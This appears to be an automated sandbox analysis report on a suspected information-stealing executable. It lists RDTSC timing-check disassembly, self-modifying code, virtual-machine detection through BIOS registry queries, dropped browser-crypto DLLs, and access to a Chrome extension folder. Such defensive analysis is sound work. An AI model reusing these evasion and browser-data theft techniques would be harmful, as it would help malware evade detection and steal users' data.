Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C95A2 second address: 8C95AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC57E second address: 8CC584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC584 second address: 8CC588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC588 second address: 8CC58C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC643 second address: 8CC647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC87A second address: 8CC891 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2CCCD92DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jl 00007F2CCCD92DE6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCB07 second address: 8CCB5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F2CCCC4BE26h 0x0000000f nop 0x00000010 mov dl, A0h 0x00000012 push dword ptr [ebp+122D28F6h] 0x00000018 mov dword ptr [ebp+122D279Ah], ecx 0x0000001e add dword ptr [ebp+1245674Fh], esi 0x00000024 call 00007F2CCCC4BE19h 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c jbe 00007F2CCCC4BE16h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504BB second address: 4C504C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5053B second address: 4C505AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushfd 0x0000000e jmp 00007F2CCCC4BE1Fh 0x00000013 sub si, ADDEh 0x00000018 jmp 00007F2CCCC4BE29h 0x0000001d popfd 0x0000001e popad 0x0000001f push eax 0x00000020 jmp 00007F2CCCC4BE21h 0x00000025 xchg eax, ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F2CCCC4BE1Dh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C505AE second address: 4C505F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2CCCD92DF3h 0x00000009 xor cx, 354Eh 0x0000000e jmp 00007F2CCCD92DF9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a mov edx, esi 0x0000001c mov cx, 084Fh 0x00000020 popad 0x00000021 pop ebp 0x00000022 pushad 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50C3B second address: 4C50C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2CCCC4BE1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50C4B second address: 4C50C63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50C63 second address: 4C50C67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50C67 second address: 4C50C82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7001B second address: 4C70050 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 4F5Ah 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F2CCCC4BE1Fh 0x00000014 jmp 00007F2CCCC4BE23h 0x00000019 popfd 0x0000001a push ecx 0x0000001b pop edx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70050 second address: 4C7007B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2CCCD92DEDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7007B second address: 4C7008B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2CCCC4BE1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7008B second address: 4C70120 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F2CCCD92DF4h 0x00000014 xor cx, 2FE8h 0x00000019 jmp 00007F2CCCD92DEBh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F2CCCD92DF8h 0x00000025 and cx, C248h 0x0000002a jmp 00007F2CCCD92DEBh 0x0000002f popfd 0x00000030 popad 0x00000031 xchg eax, ecx 0x00000032 pushad 0x00000033 jmp 00007F2CCCD92DF4h 0x00000038 movzx ecx, di 0x0000003b popad 0x0000003c push eax 0x0000003d pushad 0x0000003e jmp 00007F2CCCD92DEAh 0x00000043 mov edi, esi 0x00000045 popad 0x00000046 xchg eax, ecx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70120 second address: 4C70126 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70126 second address: 4C70154 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2CCCD92DF7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70154 second address: 4C701C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2CCCC4BE1Fh 0x00000009 sbb eax, 3B7E24AEh 0x0000000f jmp 00007F2CCCC4BE29h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F2CCCC4BE20h 0x0000001b sub eax, 6E4CEE28h 0x00000021 jmp 00007F2CCCC4BE1Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F2CCCC4BE24h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C701C4 second address: 4C701CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C701CA second address: 4C701CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C701CE second address: 4C70221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a mov edx, 4029502Ah 0x0000000f mov eax, edi 0x00000011 popad 0x00000012 push dword ptr [ebp+08h] 0x00000015 pushad 0x00000016 jmp 00007F2CCCD92DF3h 0x0000001b jmp 00007F2CCCD92DF8h 0x00000020 popad 0x00000021 lea eax, dword ptr [ebp-08h] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F2CCCD92DEAh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70221 second address: 4C70225 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70225 second address: 4C7022B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7022B second address: 4C70278 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 call 00007F2CCCC4BE28h 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esp 0x00000010 jmp 00007F2CCCC4BE1Eh 0x00000015 mov dword ptr [esp], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F2CCCC4BE27h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70278 second address: 4C70290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2CCCD92DF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70290 second address: 4C70294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C702D5 second address: 4C702E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2CCCD92DECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C702E5 second address: 4C702E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C703B7 second address: 4C703BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C703BD second address: 4C703C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C703C1 second address: 4C703C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C703C5 second address: 4C703F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F2CCCC4BE29h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F2CCCC4BE1Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C703F9 second address: 4C703FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C703FF second address: 4C70403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70403 second address: 4C70407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70407 second address: 4C7042B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a jmp 00007F2CCCC4BE1Fh 0x0000000f push dword ptr [ebp+1Ch] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov dh, D9h 0x00000017 push eax 0x00000018 pop edx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7042B second address: 4C70489 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+18h] 0x0000000c jmp 00007F2CCCD92DEEh 0x00000011 push dword ptr [ebp+14h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 movsx edx, ax 0x0000001a pushfd 0x0000001b jmp 00007F2CCCD92DF6h 0x00000020 or cl, 00000048h 0x00000023 jmp 00007F2CCCD92DEBh 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70489 second address: 4C704C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 mov dx, 6DB6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push dword ptr [ebp+10h] 0x00000010 pushad 0x00000011 mov bx, ax 0x00000014 popad 0x00000015 push dword ptr [ebp+0Ch] 0x00000018 pushad 0x00000019 pushad 0x0000001a mov esi, 672A4F43h 0x0000001f mov si, 9C9Fh 0x00000023 popad 0x00000024 mov di, si 0x00000027 popad 0x00000028 push dword ptr [ebp+08h] 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F2CCCC4BE1Dh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C704C3 second address: 4C704D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2CCCD92DECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50716 second address: 4C5071C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C507A1 second address: 4C507A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C507A7 second address: 4C507AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C507AD second address: 4C507B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C507B1 second address: 4C507DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 1B88990Bh 0x0000000f pushad 0x00000010 mov esi, 14FFF9BFh 0x00000015 push eax 0x00000016 push edx 0x00000017 call 00007F2CCCC4BE22h 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C507DB second address: 4C5082E instructions: 0x00000000 rdtsc 0x00000002 mov dh, 33h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 call 00007F2D3DA665F6h 0x0000000c push 759227D0h 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov eax, dword ptr [esp+10h] 0x0000001c mov dword ptr [esp+10h], ebp 0x00000020 lea ebp, dword ptr [esp+10h] 0x00000024 sub esp, eax 0x00000026 push ebx 0x00000027 push esi 0x00000028 push edi 0x00000029 mov eax, dword ptr [759B0140h] 0x0000002e xor dword ptr [ebp-04h], eax 0x00000031 xor eax, ebp 0x00000033 push eax 0x00000034 mov dword ptr [ebp-18h], esp 0x00000037 push dword ptr [ebp-08h] 0x0000003a mov eax, dword ptr [ebp-04h] 0x0000003d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000044 mov dword ptr [ebp-08h], eax 0x00000047 lea eax, dword ptr [ebp-10h] 0x0000004a mov dword ptr fs:[00000000h], eax 0x00000050 ret 0x00000051 pushad 0x00000052 pushfd 0x00000053 jmp 00007F2CCCD92DF8h 0x00000058 sbb ax, 7B08h 0x0000005d jmp 00007F2CCCD92DEBh 0x00000062 popfd 0x00000063 mov ax, FD7Fh 0x00000067 popad 0x00000068 and dword ptr [ebp-04h], 00000000h 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007F2CCCD92DF1h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5082E second address: 4C50862 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F2CCCC4BE28h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50862 second address: 4C50868 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50868 second address: 4C5087A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F2CCCC4BE1Ch 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5087A second address: 4C508A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov esi, edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2CCCD92DF9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C508A0 second address: 4C508B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C508B5 second address: 4C508E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 1E82h 0x00000007 call 00007F2CCCD92DF3h 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov al, byte ptr [edx] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F2CCCD92DF2h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C508E9 second address: 4C508E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a inc edx 0x0000000b jmp 00007F2CCCC4BE29h 0x00000010 test al, al 0x00000012 jmp 00007F2CCCC4BE1Eh 0x00000017 jne 00007F2CCCC4BDC6h 0x0000001d mov al, byte ptr [edx] 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F2CCCC4BE22h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50A23 second address: 4C50A58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b jmp 00007F2CCCD92DEEh 0x00000010 shr ecx, 02h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50A58 second address: 4C50A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50A5C second address: 4C50AEF instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F2CCCD92DEAh 0x00000008 xor cx, 2108h 0x0000000d jmp 00007F2CCCD92DEBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ecx 0x00000016 mov dx, DCAAh 0x0000001a pop ebx 0x0000001b popad 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 rep movsd 0x00000022 rep movsd 0x00000024 rep movsd 0x00000026 jmp 00007F2CCCD92DEEh 0x0000002b mov ecx, edx 0x0000002d jmp 00007F2CCCD92DF0h 0x00000032 and ecx, 03h 0x00000035 pushad 0x00000036 mov edi, eax 0x00000038 jmp 00007F2CCCD92DEAh 0x0000003d popad 0x0000003e rep movsb 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007F2CCCD92DEEh 0x00000047 sbb ax, 80F8h 0x0000004c jmp 00007F2CCCD92DEBh 0x00000051 popfd 0x00000052 mov esi, 05DE162Fh 0x00000057 popad 0x00000058 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 movsx edx, ax 0x00000065 mov ebx, esi 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50AEF second address: 4C50B4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b jmp 00007F2CCCC4BE1Eh 0x00000010 mov ecx, dword ptr [ebp-10h] 0x00000013 jmp 00007F2CCCC4BE20h 0x00000018 mov dword ptr fs:[00000000h], ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F2CCCC4BE27h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50B4B second address: 4C50B63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2CCCD92DF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E85 second address: 4C50E89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E89 second address: 4C50E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E8F second address: 4C50E95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E95 second address: 4C50ECE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F2CCCD92DF0h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov ecx, edx 0x00000018 push ebx 0x00000019 pop esi 0x0000001a popad 0x0000001b rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 64DA8A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 64DB54 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7E66DA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 86EE40 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 2656	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5356	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2860	Thread sleep time: -40020s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5BC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C5BC930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
